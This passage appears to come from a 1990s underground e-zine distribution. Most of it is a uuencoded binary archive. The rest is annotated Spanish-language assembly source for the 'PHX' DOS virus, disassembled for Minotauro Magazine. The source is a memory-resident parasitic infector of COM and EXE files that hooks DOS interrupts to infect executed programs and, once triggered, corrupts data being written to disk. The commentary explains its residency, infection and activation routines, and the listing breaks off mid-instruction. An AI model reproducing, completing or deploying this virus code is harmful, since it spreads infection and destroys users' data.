M@AD)$*%EUY&)NC:3JAWQ0<,.0+Y\E+ZH-^J,H4;5NESV!#\TRO(JR,HURO"W M##4FN;QGN9XAH\.QI@14PCH0A//ADW, MMALS&WK0,:',6^=]AOC*#+%XLN[!GF-*1M,*! M \IGN8:3GP!;A?I3(Y:<"WS:ZV>_HUA^..+YBK^H+9H?C^XJ\1FOY:P\?&XX MQ9"O^/F4#\UDPO3\L[]"!I; / 7V^$$[$!P=B^3$4<9'2XT8F-Q "P=2>-$1\GV[D13R5R>LXY_*\*)-"?5Q. MXH2(&X>RNI!M$\.Y_2*12(WG1T4BF=+S_GFWD*(8%H@$5WN1""Y-Y'5]O\ - MN(Z(?1DC@\5D7Q8W-L189D*7(&B+M2DN3Z,B%TN/B'P\EDX(?ST2P?*3UXWQ M+!8GE!/#XZ@UDF,ZSOM3:&/H:$$!)YN!=Q]9)* #HWJ.*]B!7!(:' CZ.1B, M(69D4B(^"IUCO@50Y(QD&D/%>Y;8(:%G$E0_+D^C/.OI"9%,9S,Y0R0S<2,E MPD2?S,<,XY#8/SR*JU-RX"DF^#%]+)X]Q ):<]1 (I.%PCS%1&;JQK!B5B1(%,UJ8NH+,)<*TY2LQPGMC[%GQ_U!+ P0* ] M,# >/?6L^:L: "K&@ "@ $Q%0U1/4BY'249'248X-V& N !DP M "K *L *NKJP JP"KJU< JZNK5U=75U?_5_]75____U=7_U?___]7____ M+ " N ! P3^\,E)J[TXZ\V[_V HCF1IGFBJKFSKOG LSW1MWWBN[WSO M_\"@<$@L&H_(I'+);#J?T*AT2JU:K]BL=LOM>K_@L'A,+IO/Z+1ZS6Z[W_"X M?$ZOV^_XO'[/[_O_@(&"@X2%AH>(B8J+C(V.CY"1DI.4E9:7F)F:FYR=GI^@ MH:*CI*6FIZBIJJNLK:ZOL+&RL[2UMK>XN;J[O+V^G@#!PL/$Q<;'R,G*R\S- MSL_0T=+3U-76U]C9T+]QVM[?X.'BX^3EYN?/W'#H[.WN[_#Q\N;J;_/W^/GZ M^_S8]6[] @H<2+!@N7]M#"I37X"_21T:)*B1CK6[UNX%K!V%>R9L.25;LV \:T;K.* MG="6JM>T>+52@)D7;-NS:.7J5?L5,& >P*U?S%K MC6S90F;%B2L3IDQ8 U?2(.IN'MSX-.C2G$NS%1T[KFC9=%]'_GQ9[UW6OE_/ MSGW;?'8TTD?'QV\. ?5S2=WIPY;>/GPY,@:%-9YQ\VG77VGB=,4=?@O@9H5]U'#KHGX;$M;@=>Q1B*-Z" M%TJ(V@?@K2?8?N=A0!F#DC488XN=%>GB>'/=:"&,2_)8XE$1IB?B@2%2262% MIODW9(RNT5CCC$%ZD..!/RX'HHQ=RBCDE6R&Z6::/4K&'I,3/NF$707F*>"# M90X9)8I^[:CBH&1^R2>)X/78H9*? MGG)R7Z@VC$HJ(J:>*D.JJA+":JLNO HK(++.JD*MMO*!:ZXF[,HK'K[^*D*P MPM)!;+%B@HIL(\?^+ML@B?'&?9CG'L<@VZ%:M>UU97+(**-A%58 YG9R MRC"/\2%C)2?VS&SRS03V&G.0-=4HZ V!VTT%S\?K71"2S=MK--0KQ/U MU!%1;;7*5V=-1M):=TT%UUZ'_0388I>=7[IFIVWB=VJW/4329+LM-PQ-8+CJ5#^N![^D1-YZ5\WFN+-18>@L>;UK,[Z3L#5'-;N<:4V M^^8="&98EE,N8OOM4+Q^LFNP\RQ[=<->%UWS)/>,*O)KF&GR;[Q;?W7SI9BO^[D6X:'.'((V2LD5EMC,CTN->]\?7Q.'"YH^GR>!$"=@F- ME.K?T.8GR JBJ$D0-!8!)?C'FOD1=8V,1,N:-\82*A!VZXM=^ZR8R0_6T74\ MZZ0E"%E*,"SRD>QC)>1::3RXZ>\L+*'E("/8LSFR0I:Z3(G^/&1(8.HJF(Y0 MI2N,BISG6:TR+8=*<2XBD)>LKS"/:$1#[O281])I.?'2,G0.^PNG9TYBJ/XS"!) MJ^>SY=71I%N!*45/BM*FJ/1T$9KC)3TSTL7YE*8U?5O&HN=2"XTE>"?0J+3\ M>4\_FI"8.OV95%&@5/LQ=9U.[=O'Z%A2VOU/H58-JA!R^M$OOA&I/+7@3P5W M5;&NJQH-!>L/V^K6MU(CKM\A)43I6E<@G(^O101L7W?P5]_946:H'%[X!IN' MPG;LDKY\)6,OV@*M3LNO-XWL*2>;4!8(E@?CXR-)E>69L3/X3+O#0Z]'J[10+T!WN5G,G61[&@*PLE:@4 NS; >_O MOZU=*]UJF]Z4U)<)O'$9][1G0QHPN+(7MF_YV!++K5X7M\@-<4I'7![61O*K MS=6NBE.*0.7M5+\Q1;&,9US($\?X:3Q6PW8]G.(@>]+'!RZRD<6 XQQ^&,E+ MUAD'G:SD*,/PO.BMLI5W".4L[WC+(Q'I=5BH8R"#V95B+@N9?SR')Y\YK86C M38YC^M(RM_G-:%:SG/=\0C8[$<]7;LV<+T/^ET02^WFCG2+Y%AH;TZKD=+&--7$"R.K>!I0/-UU*$&-7''5NKIJCK5/B.4 M>E^,T5A;ZM;#V:==P[IW7*6C(JQ M28W)7$-'=*/6DA>; VU4)WG:7UMLT38,+=_!TK4DUJRNP?T8<0N;MM"FZF:] M-]M?KYO=]YZU46\-80#&FE'\AD_R\+W@Q[1:K@0?F]#^G'"%+_C@>&TXAK5Y M:8E+6[7 LGA0*'[G:WVHW*$"+,01'BT(6PE6(MM5?AL&14\3IO]66SM5;\[+'H\.NIGK)52K!A>:JH&"7FMC9ODF/ MHYVJ/P?Z?;W>N+LG%7PR8_JQ\9YVM#)Y[O@U&-P+WU6=S;VHSQ;7X@G?T\-# M'?*'Y'LH)I]4F>9YZUS]C=E'#S_*FQ[&8C+MY96-;06[).NHCSVG#BM'8A=/ ML='N_.I!5*FDP/[3P)\]2%L<4@(7\WZ:!P59D1Z3WY-<]O\&E1E#:W5E1YCQ M@J^!\R,._>A[;-A1Y5\XV\D_5;XS^)G^C MZ^=^_FV-[$J.F_IT-W^DXFLV%H#,UTZZAWWZ1SS$$X#R'K=-U/5 D:K-H&8=U;)EFNZ@&7JMW^IX7E<%G*9Q4F)53\@47X+>((S M.&F?YRG+1TSGI@XF6(,(5?V(46QH5BF%=WI0V)- UIZ QE*&EDJ&:R MTRE3!3=L0X='-57]1VE3^(9Z>%1^N&B-IV>!&&=_.&E>=W_<9#=V"(B%Z#>+ MR(A2"&>5=H-\.(F-J(30\XB..(B%AH=_>(C^E. MNUB-O9B">(>.[NAJ_1*.XBB)/O6.[0B/\M@1['B.:F6/"8B(RKB/_^./ XF/ M^=B*AE>0][B0_WB0",F)Y-B/$DEY ,F'U\B/#*F0#>F0Z@B1J4>0]6B0'+F' MHTA1( E6Z-B'(YEI61B2&>F2&[F28ZB%&EF3, EC%?F&%VF3*#F1,2F3;IB0 M-SF4/4F10#F30EG^E!BYE#AYE/1%DT394">)5SE)ACL9E2;IDTWIE!\(E8#R MC+08C<18B[;TB5S9E4EI'&"95]V8AX+(C=]XEBSIE39#EN1SBFR)EVX)9U7) MA5?Y?VM9;=L(EX.YEW XCW*Y<2U)=K*(F!!DCL&FEY')EXDY>!Z9>W1VE[@X MF9MIF+2CBGE9@ =8F8>9EBQ&B&$9F/_6EFJY9K*XBBV(;J2)A"7Y/%.9E4;I MF8!)2=[&E7\IE5J)E3 %FI"4;.\QFTY8FREXF[8IDCOH7VQ':\A)EY&(FTPI MG/M(G,_26KWIE+]IG3P)G+G)?L&S9U*N97\EYJ/U$7VB9_C^)'!N9]K59;(YF#7%Z#5B8D&^J#TR9^Z M.8(6N* ,.J"B&*'K2:#C^943$B7C%6\7"HO*R9[ZJ:'N.:'[QIW=Q607^*($ M\S8"N:%(Q9S9R9G_26R:8CXPVJ,",U8S*E>=!)D.I)+#F8N2Y1OGUIV>Y*-. MJB] NIBH)9V2:6Z8>:,@P:1)IZ6FZ:#^YIB=R8["18VT,)HY8Z9=1J*$]U1@ M.F[ =4H)$B@M%7 6V@U<"C%HFIQJ*F]4VFA6FFWIB*,NV$O1"7F-=:1J;/26^\&9MU^9[E:9[BY5'^2(=@-K1W;:1?&=5DK]ELQA2? MC6JDO->85]JA:I(5(Q9T*XHYQ]FJL6*IHQIYGSJHG385?Z6=;>)=4AI;M>I^ M#Q1$DGJ:$5:LCNI+AWJLN(I(3Q6;/#=VO4:<)H:D*WJ,@6)\#LAZ+VA&M^B, M(35:B+JGC'JK]L9AX:=]@3JILLFLO'JN#Z>IPC:OEE541'BOM%9_AIH>\4JM MO[B;O"&MS2JP5$J !WNJ00IL.59;FX.HR4J"_BD\=-JG;@2MADJ!^JO(XA3FA&"[@:K-+-L&VNP>W>M'VJJ42J@[_6Q<#0N[RH+%2:K%C@R+DM\ M(?NMS)B@CAJ:"-O^6]E:H<99M 4&2Q4H=,(JLUD6.FUZ=Y@*8 #2=<+(16:( MM76J6/NZ2!L$C1G"KPTX/":FL!=K;0IV= L;LUTZLU([M<[IH=I:)]T:7[1Z M/)[J64ZVK[]$K^F*H=>E44\TL>7*M >KK("+.U4K$HIJA8)K8$K%1(;KK):4 MN)2*L7KTJZ!U(6:Z0IW*J9D#H&:[,T+#L,/Z7HY#I&4V;U#EM:([KHN;/*1Z M-KU%5$4:A_^:E_BZK,OUN%[8H,2J>THTL8'4FI%4?[/+:O:ZK1!25A H<*9+ M?A$HMH[GQ2["8*[+T.[]# MZ[M6RJN4>K10LL%-D::'9@L%*VOY!4BB.[1R6KJS6K<4.\$\3*[BAK+TQF$8 MEL$AC*3^XL'?\\2VR!>(%'^-:T&UZF%7'%Q,;*212[SMII(DBR8J:TI;/$U= M/+7%"\5^%<+@TS(]P:GL/E)5EQ+EZPZ M==RP,497 KQ,3[K*&-C&J0QS-PBO-E<7+T G-T QIKHNMF(O._CO+7PJ;75O)/A;/VPG# M])S+7EQK-)N9 W3 AE>J=:._)?S/ZIS.<<6F'9M;H\QNWORG$(I68VK/#$U8 MIHR[6<2Z!3W0FN;)%!;/W-S-'2VFJ\O&J32W^RN;)[S1CQR^)AJ>X'F@[F:8 MQBK37SR^''JB' C^K"Q3/HE,SQ5=AP6*HE2IHNBVOCR]R5_,FC=]T4?ZTCNH MH$\-U0V=GS;-U3AMU-N+<+P?G,H(==I8J= MV(M-GB];LG^D/'R=TC5-HTCMJF1;ORD\T2@5V6'ZUYT-UR:\ETU[T@EGQQ\E MCBH!TLA;F*L9E[F8TZ4;MIO]ROY*VPL,W/TJVW6CT7'M9\KYVXYIETQ-T$+, M4*0];;!=C(9\VOHFV2^=RL=M9YRHW,KLUR!KV[JIW=O];0+JW8UMW:'^_9;; M>YC1;6S3S=SIVXG]C-U9^YGE#5J<_=-=#=B@G=_N>LS\[=ET79\ 'N!L#=YV M3=E5?>#YLM]F7=<,CJ4.7BH0_ME />&5]]Z[9MKB/=G^;> 5;MYOF]H@;N*5 M/>+ :/N"J'>,RSN(8WM\HWN X/K,)CM@O3N C_>/( M3=,V?N))GN)&GH$EON0UWN(PWN1Z6M8[3N1"ON%4[F5!;M]#CMI:R.&OYN'L MS>-03N%;7N6!V^-?KN0'G>9.[I'4K8UE3K=>'J?&#><)_HOV0=QS[I_V?8QY MKN>Z^?R;<3J?<[N3>B+.H[6(MS9(NG^L8W0GBCFJN;-?RZ8'[XEG0Z# MC>[HP;OF 2W< >W<#FWJQ7WJHC[C>5S@J?[JL#Z@#M+JX(ODQ#$[,0,=0^\IR^P,T*KKO?;TO?+B/6GK%P085B\?;)+,O#<+O M@8Q)>UC\$[_?_+_CM[B_+]5O(-!__.\S_=IO]*H4_A)LST;-K*S0TY.%C M LQB-*,)?!1LA)%43'3<.PN\U(2DE /M)#S44AD5W0PR32U<*YT$4\-3E52B MASWCQT\@^<49H3&\:%(?PQS5=0&\E0^71]=F7Q&;QT]B!@G MWMPUJ.-.93'U:91IC=_%D".-ECQJ\R!.GWH:JD0H%!%)I0ZCWI$W\QHQF$R] M8M5)3>J]GDO'[F,)=2A:HC2I%D4:D6+8@6_=9IV55"Q9N4EXKCI[[NO@,72# M^K1:PV;;7G7,5O+3QVLIWS2\.*Y2P6DK1^G\F2_*2%T)GZ[GU+/?LHKO M]@4*.;;ELY=MUY:8V9Q=V:;5_J;C&W$^US^%HSX-\;9HUEM;\[9*>SCSY0S64XZ&6Q7==O;S ML0=G##+I>/G+/=*^0 \]_B(;\++RNL/O-,+<:_T\&GJO@23X] X#3UJ\4 18:-0OAH+NK"]_$QLJ44';X0/-"!U;&P\ M#+4R$,45"8/QQ0)W]' S$V-SB<'ZJAPPM&^>['"0M:ZCR\@MG0PPR2*79)%, M&M6E;(Q* M)>=D=!&PVN3Q)"X7-4\R/G7R="UYQDV5VWW/]]7159T,]]PX5X,E5AG@"MEMF6!['V7JWG9[W71B5S;Z:DF#WG!H19G.^C$M0<;9 M:GR%=7I,A9NE>F>S;V:UCJ.C!I=3K@->>UEZF"_&U>*SE7Y[[Z]%[3IOBK&> M>^M_$V^59H2-M?MNR2>GO'+++\<\<\TWY[QSSS\'/7311R>]=--/1SUUU5=G MO7777X<]=MEGI[UVVV_'/7?==^>]=]]_!SYXX8>679[YYYY^' M/GKIIZ>^>NNOQW[4" .U!+ P0* !I)2L>I4ZP27D3 !Y$P "P M %1)14U03U,N1TE&1TE&.#=A@ +@ 9, JP"K "KJZL *L JZM7 M *NKJU=75U=7_U?_5U?___]75_]7____5____RP @ +@ 0,$_O#)2:N] M..O-N_]@*(YD:9YHJJYLZ[YP+,]T;=]XKN]\[__ H'!(+!J/R*1RR6PZG]"H M=$JM6J_8K';+[7J_/8!83"&#S^BT>LT>FL?MN'Q.K]LGYL<;(,G?_X"!@H,Y M<'A\>HA^A(R-CH^0AQ9[?8B1EYB9FE^+E8>=FZ&BHZ1N8WMYH*6KK*VNK["Q MLK-"EK9XN'VY>KNWNK^\P+[!Q,/&O;GZ+3JZ^Q@EF'M\?+S4.\\]O3Y^OL[^#K^_ (*')@"( Z#!!,J M7'@!H0V'#"-*Y >11L6)&#.JNRB#H\:/_B!+>80Q,J3)DY!*NE")LJ7+.RQ9 MQ'Q)LV::F2IPVMS)$XM.%#]["AW:)*@)HT23*JT%!.G2IU /-HU*M>H2IR.P M6MW*E836$%^[BAV;(>P'LV33DD7;@:W:MU;=;I +M^Y2NF7MZMWK 2\&OWP# MNP0\2;!APX0K)#[,>.+B78TCIWT,3++EKI2)7=Y<-7-FSJ#9>0Y-^N[4TJB% MCDY=1M%GUBE/PT[D:7;&U;,I)3*T6Y7M=;AAZQ[N^C>]X*R)U]9M/![RY+R5 MTV[N7+9M/^,^^:8>ZWGS3MNYR_(NOCQ%ZZ31J5_/OKW[]_#CRY]/O[[]^_CS MZ]\/ORG__P &_BC@@/V9U])K!B:HX((,)H1@@Q!&*.&$65%HX8489NB@AAQV MZ.&'7H$HXH@DEFC'@R:FJ.**2J'(XHLPQKBBBS+6:..-Y^&HXXX\]MB0CT & M*:1)- YIY)&8$:CDDDPVZ>234$8IY91/HE0DDEAV9."56;K3Y9=J<'D=F&N( M2>:9%9IG)II7K,GFFW,AZ2:<8-%IIQ1STI3GG47QZ2<3>Z;W9Q:!#GIFH58: MZ@JBBG;)Z&:/*AIIHT=.^I&EE-Z3Z:::5LII%)A^RF.H&)$JJD6GIJJEIZI> MU>JK,FT):R2FSLIBK8+A"J>NMIK(JT*_]EI"L,*"2&Q=QSIW2D[)_K;0;+%U M,'?4LRM0JX^U4!&'W;*5H,);)MA"VT9VTTF[7'&CA(O9==&1VYMVYFJBKKAA M\A%O:[7AFZZL.VKK[3ONL\TH' M[^SSSX@!+32."Y-7R,*U(!U$T4DK3)#1U@729Z\%"=TPE: MH^KU0&'?Q'6G/E1]=C]K']?VU4N_/77:3(%M=]QC"U0V&GO'T#=)W=3?=>#.N=^)A0CY#X3P/[GC7_H];SK;D@#>.N>8BX*0VZ/E0WH7I ML9+^#^=^LSZ>ZX:K7@CLA1U%N[.W+YK[%JA7N_O7LL_]>8Z7HUW\YK\O'KSB MMGMN//'#GY@\4-,K_WSTJY-=O16] W]\B,U_CSSVI6]?1?<%F0^^^-FS/P_Z MX;N/N//CR\_\L'7;G[7Z4\!O??WD$Y[^)O"F='OP9";X5S0"'^ M/IB7% (0AH++W 7Y9D(/XE" -PPB$*_50PU\1H;K(V$.9\A$&E9.ATID Q+3 MM,/6.?$%4QS8_A4[5L0X;5$Q#&1A%PT&P2IZZ8NI,R,6QUA#-<(BBV=IH1C1 MF#XY@D"$=ESB"X48-3:2T8VXHZ/WHB@:/QX!CG=,'AX!F49" L>01D!D' 59 M1T;ZCI(B@21D'&E%35;&DHO$9!.CQJUO]44EDCRA)S?)QR'.T9+4HP,HPM,0 M5*YRA#_48RLG.;QEZ2LY;GR)0E: MEF&51[RE9G()S21249G?C,,LT14O@7$0F#[19BI]Z,L:K#.2PB0GNO!E358R M,UKJ5&0877G/5XI38,/K%?1ZMF1C3J-:AOU#]- .M*T>?0_@(K(S @UM);""J$3NBA%71K.F3:R M9BMMZ$MR2M.>!LV@'I*I3GV:T:&"T&8\A2A/DDK4IL(%IA(2:CN=&CI<3I5C M3)6H3;)*U:YR!:H1DJI2O5I3HSKS9ER=Z%#22M:VT@RCQEJH5MUZ3J F,F=L MM6"+Z,I71VDS6TKKI5G["L9GNG.0@QU17AU*%+ 2]JM_S9A=]8*ZT3VVK%<] MZC+]::/%KNJM-KUL9!P[)-)NI;)6%2T[$WM3P7*V1I[MY%XGJ]K)1%9'IJT8 M&BU;V[K"M:J5#.V'8JO9QMZVMSO)+9"4_DL5U!H6N?;,[%GE>MA1J31;QX6N MGK+;6>ZN-7>\U6X;:;M:S,YU1M=]"G/%FUSORFB]V-UM:ME[S>ZQ^SO:DIRV( MBXD#CY67PMU+.>?)40YPN*))D7!-S#5,2;A4Q7K*\+9X4>*4DO>I%K;O1DRY MB'*HZ<(,-6^00T.&%BNFR#4V(H-33&$BD5.:U!0:C+M[X[<0N,J$.*F6M\SE M+GMY2B*E3V^H-.8OF]G'KF+(B9.P9O^ZF193-HY8\^M?#]/99&V^)'_?S&<+ MQ?DW.9:V_K6N,ZUKG?-ZX3% MJ-5ZQ2FL53/K8G,'U<)QM*L5#>S[MDS4L=RSL:>-&F0W6M6%[FVS/XO48?<$ MVM0.=Q^Q3*% 2YJ^VY:ML-4<7W&[&S363HVY05UG(-,;S]ZN\+OW?9EX5UO9 MP>YSNHL+,W!C>ZO\3OAH&2UO@#O;S0.?[KH78G =*_SBZR)W3!W.[41'',4Q MJSA^OXWQDHN8X?\^^+VS9DH79U@\'P_DGU0A'3T#J]VXC:?+16[R_C+A8\;3 MX8*_2S/O95/$'CV>9WEBWEH[ 5U?24[HS=4[JNC\I>4];]70!:5RHV.XUV / MN]C'3G;VE%E*9R_[1Y7 <^!*.^MP_YC&H\IQ=0O+[;&_>^GQ;E1*\[ MP2&-]X#KG=U4][OB4P9XKKNVT]IENLTG/O6W+_[R?',);?/"AWCO" M,4]Z8L\]K(*7^-T_K_K#4QSGI8_]3AM/Y-2#G,^2K[3K*]]@V?L^4:?/M.UE MSNS"/WS2HE_Q[Y=_DJW7ONN=A[CQ.Q[RY&^7^=C7B//A/?RF>QZ;.FM[ BV? M_?)#4<$IXOSQT3U]N^]^0XDWO_SAKWD-_JF?^I1U/]OU3[JP"!,]%P$1_I=M M=_53T35Y^]=Q18(69N(1 %-8_$=\K9 '&!9\$6'GA* MH^4D]54\5<)F)'A(8G9D35*"WG2"G_1?&@@H,[B!D\,E)49S->@W.\@8#/@$ M/]@G^%<$#JAD0WA[WF> 2,AF$1A)3>@&OE50$PAZT39_5A@DX%%,I>0N+-@N M7O@O-S@)6CA06G@N/"9^P?2% ?4OKO%R("6&6TB&6VB&2;&;#A-8W9D M_B&&? AE5^>'?PAU9I&%@WB(TK&&B"%/@J@OC4@$ANB(B,B(0>>&1_.(03>) M>JB()H6).FA$_G>(B>52B*$HB9*8B)0X8*GH8J;(BI!8BJYXBI18<_< BU'F MBJBHA[4(A\:T'5P(4'>(=3(1C+T(,/+4+K>(+,!(3&IXB*; BTHGBW2X8+X+O""AO7 C*!8C=Q($N78@<9( MAZUAB5<3CX%XCN8$86& CX#XCX)HB'58+?[XB,JQC>H(A/9"C66!C=7XALYH MCINXD.?8CYXHCX3H"0AI4G$HAT]72QUIC&1(3>]8CQX)AK%8AJ/XD&KA+RA9 M9N%(4B?9AA^YARMYD_T8DC0YCR8YBPYYA4 9E*?DD=TBC$5YC45Y_I0(P84= M190P:6(E229XJ)10F8;>0I4-:906B9,L>9&ZV)7."(]?^8U9F9 IMHID"9+! M-)8YB"*TF)8-^875(&67UI)7#B(PQ M69&G$C!(MY=6R9"QF)7PQ)9TF9'?Z)?D2)E0R92.B2=ZV18+&)H?*)?1 MB)EAR)5PF8^IXIDB")J:.1=7,I61"8VVB8Y@R9GPZ)1@F9@GTY&^F92@ IRU MV851*93(F9S*N9S,V9S.^9S0&9W2.9W469W6>9W8F9W:N9W^9W@&9[B M.9[D69[F>9[HF9[JN9[LV9[N^9Y66)@"_@B818%*C0F?*W&7M$10*)@59@EQ MG]F.-_F+8^OB3 M*>F3V9&+JRF>%2J;NJB2]U*&%*F@4):' KIS!4H;(KJ@Y!F)P2FB:XB--8>7 M(_J6+SJ6#XJAMSBARBECC1D>C DO 1E/#3J*ALF8"3J'1YDO""JA2HJ?UIB@ M-_&?6-JE7OJE8!JF8CJF9%JF9GJF:)JF:IJF:M>F;OJF)JG>KJG?-JG?OJG@!JH@CJHA%JHAGJHB)JHBKJHC-JHCOJHD!JIDCJIE%JI MEGJIF)JIFKJI_IS:J9[ZJ: :JJ(ZJJ1:JJ9ZJJB:JJJZJJS:JJ[ZJK :J[(Z MJ[3JJ0QJ#K>JI>FH@^D DKI9EO;X@?P(C>J1J[SZJYMI=L(*@\:)9L0ZK,W: M'E[A'L;*, 0)KO!H-V8I]6JK?:@NP:KCU)K^0*KZ&SKL]JK\JKQMKL+VZLST+%A [LS(+-B)K_K,PVZXQ MJZ?)FJTE6ZP4JZXD&[502[-/.[1**;5&R[(PV[+[L;15JZM7.[7WX;#XP;4\ M2[5:.XY'*ZA>B[!HFW8F:[4T2JXM6[<=B[1X>[9YB[5KBU)/R[0,^[9=>[?R M8;92&[=->[AL^[=?J[)O6[.^FK4?J[=%V[72[E\Z[/\T;8CRX$_*[2% M2[CQ8;B9N[)IQZV6^Z>>:[><"[@N*[FBJ[B!*[>VF[ABJ[FG*R"MN[6DN[OS M0;9CN[JZB[B.:[I[>IB"Z[3IJKII.[F;&[&R2[>^^[R0:[WW"B#*.[UAB[RX MB[D<&[;A"[=@.[<."KV JKRW&[J,J[;8_BN^NLN]J5N]TDN_UUN_G#NX_;J[ M\CN\[TN^[ N_ 0S H!N[Q-NGZON]E>N^ FN_V1N]]QO!U/N_ZYN[M-NYU\J_ M#BS RDK!HYN_"HRZ)NF\Z,NZ&5S!N?"$S%YMO"EOO#;HO$RRO#\7O#"_RY,WS 90O&2&O&1(RS M3?S 5OP>6[S"79RO7SS$17S!9%R6A[R0SLQ-XZQK8,RO^KQZ,LQKG>\P^6\SM]LS'&,R/_=GEB]>J7;N5;==>'=24G=JD3R/-MTFMBG M#=:.?=MT'=L^[,]JW=M7[;>C/=@7&-@*K=FUK=>&/%+=FR+[-W>[OW>\!W?\CW?]%W?]GW? M^)W?^KW?_-W?_OW? ![@ C[@!%[@!G[@")[@"K[@#-[@#O[@$![A$EZH$0 M #M02P$"% 4 ( " #S>5/RC40&HWU !1, L @ >%L %1)14U03U,N1TE&4$L%!@ # - , J0 !IO end ; Virus: PHX (PHX.823, Willistrover, o mejor, Tracker) ; Infector parasitico de COM/EXE, residente via MCB ; Desensamblado por Trurl para Minotauro Magazine code segment para public assume cs:code, ds:code, es:code, ss:code org 100h .386 vsize equ vend-vstart vsip equ (vsize+15)/16 start: jmp vstart db 0, 21h db "Oh! Que hago aqui en el area [Virus Sources] de esta BBS, si yo " db "pertenezco a una nota de Minotauro Magazine? Oh! " db "Lo mas gracioso es que he observado que los Sysops ni siquiera se" db "molestan en sacar estos textos antes de poner estos virus en las" db "areas de Virus Sources de sus BBS. Los miraran los sources?" db "No dejen de leer el proximo numero!" db " Trurl, TGC [Iaba Daba DAN]" vstart: ; instalacion desde un COM. PUSH CS ; para despues poder salir con un RETF PUSH 100h PUSH CS MOV AX,0B974h ; Chequeo de residencia INT 21h CMP AX,2888h ; BUG :-) Se carga en memoria + de 1 vez, si se corren JZ inmem ; varios COM infectados... :-(. El valor seria 2808h MOV BX,cs:[101h] ; obtener el offset del virus dentro del file ADD BX,103h ; mediante sumar 103 al JMP NEAR del principio CALL mcbres ; residencia via MCB CALL hookints ; colgarse de las ints inmem: ; restablecer los 3 bytes originales. Estos 3 bytes estan en el c¢digo. ; por eso todo este quilombo. db 36h,0c7h,6,0,1; MOV WORD PTR SS:[100], orbytes1 orbytes1 db 0b4h, 4ch db 36h, 0c6h,6,2,1; MOV WORD PTR SS:[102], orbytes2 orbytes2 db 0cdh POP AX MOV DS,AX ; DS=ES=CS MOV ES,AX RETF ; ir al prog. original instlexe: ; instalacion desde un EXE MOV AX,ES ADD AX,10h ; ax = fin del PSP ADD cs:[Instl_CS-vstart],AX ; realocatear para el JMP ADD cs:[Instl_SS-vstart],AX MOV AX,0B974h ; Chequeo de residencia INT 21h CMP AX,2808h ; este esta bien. JZ inmemexe PUSH ES PUSH DS XOR BX,BX ; el virus esta en el off. cero CALL mcbres ; quedar residente CALL hookints ; colgarse de todo.. POP DS POP ES inmemexe: ; para poner SS:SP y CS:IP (el JMP) en los valores originales.. ; estos valores estan "en el c¢digo", de nuevo. MOV SS,cs:[Instl_SS-vstart] db 0bch ; mov sp, Instl_SP Instl_SP dw 0 db 0eah; JMP far Instl_IP dw 0 Instl_CS dw 0 Instl_SS dw 0 mcbres: ; residencia MCB.. ; en BX viene el offset del virus, en ES devuelve el bloque en mem. alta. PUSH BX MOV AX,ES DEC AX MOV ES,AX MOV BX,es:[3] ; BX=Size del bloque SUB BX,(endheap-vstart+15)/16+1; restar 41h para INC AX MOV ES,AX MOV AH,4Ah ; resizear el bloque a 41h para menos. INT 21h MOV AH,48h ; pedir 40 para. MOV BX,(endheap-vstart+15)/16; 40h INT 21h DEC AX MOV ES,AX MOV WORD PTR es:[1],8; owner=dos MOV WORD PTR es:[8],5053h; en el field name pone "SP".. ? INC AX MOV ES,AX XOR DI,DI POP SI ; ds:si=vir. en mem. MOV BX,SI MOV CX,vsize; copiar el virus a mem. alta. db 2eh ; CS: REPZ MOVSB RET cmpadd: ; esto lo usa para reconocimiento de un programa... hace un c¢digo ; coherente (no es "texto") pero igual lo pongo asi porque nunca recibe ; el control, solo sirve para la comparacion. db 73h,5,0BAh,0B9h,2,0EBh,0E0h,0A3h,0C0h,1,0B4h,3Fh,8Bh,1Eh,0C0h,1 db 72h,0C7h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,48h,0C8h db 72h,0C1h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,1Ah,0CAh newint21: CMP AH,4Bh JZ execprog CMP AX,3D02h JZ openf CMP AX,0B974h JZ rescheck CMP AH,40h JZ write quit21: db 0eah ; JMP FAR oldint21 dd 0 write: ; activacion. CMP BYTE PTR cs:[actvar-vstart],1 ; ? JZ isone JMP quit21 isone: PUSH AX PUSH SI CMP AX,1 ; JZ quitwrite MOV AL,5 OUT 70h,AL ; chequear que el contador de instalaciones en CMOS IN AL,71h ; sea mayor a 80h (128). CMP AL,80h JB quitwrite MOV SI,DX ADD SI,CX XOR BYTE PTR [SI],80h; ? quitwrite: POP SI POP AX JMP quit21 call21: ; para llamar a int 21 original PUSHF PUSH CS CALL quit21 RET rescheck: ; chequeo de residencia MOV AX,2808h IRET newint24: ; dummy critical error handler MOV AX,3 IRET openf: ; este es el 1er disparador. ; busca el c¢digo mas arriba (cmpadd) con el c¢digo de retorno de esta ; llamada a abrir file (se entiende?) PUSHA PUSH ES MOV DI,SP MOV AX,ss:[DI+14h]; CS en stack MOV ES,AX MOV AX,ss:[DI+12h]; IP en stack MOV DI,AX ; ES:DI = CS:IP del llamador MOV SI,cmpadd-vstart MOV DH,3 doagain: PUSH DI PUSH SI MOV CX,10h keepcmp: db 2eh ; cs: CMPSB JNZ difrent LOOP keepcmp ; compara el c¢digo del CS:IP del llamador con el JMP itscode ; c¢digo mas arriba (cmpadd). NOP difrent: POP SI POP DI ADD SI,10h ; si es distinto, intenta 3 veces. DEC DH ; incrementando 10 del c¢digo. JNZ doagain POP ES ; si en esas tres veces es distinto POPA ; se va nomas. JMP quit21 itscode: CALL varto1 ; si es igual, pone la var. de activacion a 1 JMP difrent execprog: PUSHA PUSH ES PUSH DS PUSH DS PUSH ES ; esto es el 2do disparador. ; buscar PHX en el environment del programa actual MOV AH,62h ; conseguir segment del PSP actual CALL call21 MOV ES,BX MOV SI,phxstr-vstart MOV ES,es:[2Ch] ; ES = environment del prog. actual XOR DI,DI searchagain: PUSH SI PUSH DI keepphx: db 2eh LODSB OR AL,AL JZ phxstrend SCASB JZ keepphx phxstrend: JZ phxfound ; no encontro la string.. POP DI POP SI XOR AL,AL MOV CX,100h REPNZ SCASB JNZ nozero CMP BYTE PTR es:[DI],0; buscar el doble 0. JNZ nozero JMP searchagain ; si encontro el doble 0, busca de nuevo PHX en la ; siguiente string del environment. ??? ; busca en nombre de programa actual? phxfound:; 2a9; encontro la string "PHX" en el environment del prog. actual ADD SP,4 ; desechar DI y SI en stack CALL varto1 ; poner la variable de activacion a 1 nozero: ; 2af ; no encontro la string, ni el doble cero ; recien ahora sucede la infeccion. POP ES ; es y ds originales POP DS CALL dumberr; setear int 24 a dumb PUSH DX MOV DI,DX; DS:DX nombre del prog a ejecutar XOR DL,DL CMP BYTE 